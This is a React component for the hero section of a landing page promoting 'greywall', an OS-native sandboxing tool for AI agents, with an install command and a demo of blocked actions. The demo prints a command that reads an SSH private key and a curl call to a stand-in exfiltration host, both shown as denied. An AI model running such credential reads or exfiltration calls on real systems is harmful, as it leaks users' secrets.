'use client'

import { useState } from 'react'
import { Copy, Check, Terminal } from 'lucide-react'

export function Hero() {
  const [copied, setCopied] = useState(false)

  const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'

  function copyInstall() {
    navigator.clipboard.writeText(installCmd)
    setCopied(true)
    setTimeout(() => setCopied(false), 2000)
  }

  return (
    <section className="relative pt-32 pb-24 px-6 overflow-hidden">
      {/* Subtle background gradient */}
      <div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
      {/* Grid pattern */}
      <div
        className="absolute inset-0 opacity-[0.03]"
        style={{
          backgroundImage:
            'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
          backgroundSize: '64px 64px',
        }}
      />

      <div className="relative mx-auto max-w-3xl text-center">
        <div className="inline-flex items-center gap-2 px-3 py-1 mb-8 rounded-full border border-border/60 bg-card/50 text-xs text-muted-foreground font-sans">
          <span className="inline-block w-1.5 h-1.5 rounded-full bg-primary animate-pulse" />
          Container-free sandboxing for AI agents
        </div>

        <h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
          Constrain your agents.
          <br />
          <span className="text-foreground">Know what they </span><em className="italic text-primary">touch</em><span className="text-foreground">.</span>
        </h1>

        <p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto mb-10 font-serif">
          OS-native, default-deny sandboxing with real-time visibility into every
          file access and network call. No containers. One command.
        </p>

        {/* Install command */}
        <div className="mx-auto max-w-5xl">
          <div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
            <code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
              <span className="text-muted-foreground">$ </span>
              {installCmd}
            </code>
            <button
              onClick={copyInstall}
              className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
              title="Copy to clipboard"
            >
              {copied ? (
                <Check className="h-4 w-4 text-primary" />
              ) : (
                <Copy className="h-4 w-4" />
              )}
            </button>
          </div>
        </div>

        {/* Quick proof */}
        <div className="mt-12 mx-auto max-w-2xl">
          <div className="code-block p-5 text-left">
            <div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
              Kernel-enforced isolation
            </div>
            <div className="space-y-2 font-mono text-sm">
              <div>
                <span className="text-muted-foreground">$ </span>
                <span className="text-greyhaven-offwhite">greywall -- cat ~/.ssh/id_ed25519</span>
              </div>
              <div className="text-red-400/90">
                cat: /home/user/.ssh/id_ed25519: Operation not permitted
              </div>
              <div className="mt-3">
                <span className="text-muted-foreground">$ </span>
                <span className="text-greyhaven-offwhite">greywall -- curl https://exfil.attacker.com</span>
              </div>
              <div className="text-red-400/90">
                curl: (7) Failed to connect: Connection refused
              </div>
              <div className="mt-3">
                <span className="text-muted-foreground">$ </span>
                <span className="text-greyhaven-offwhite">greywall -- ls ./my-project/</span>
              </div>
              <div className="text-green-400/80">
                src/  package.json  README.md  tsconfig.json
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>
  )
}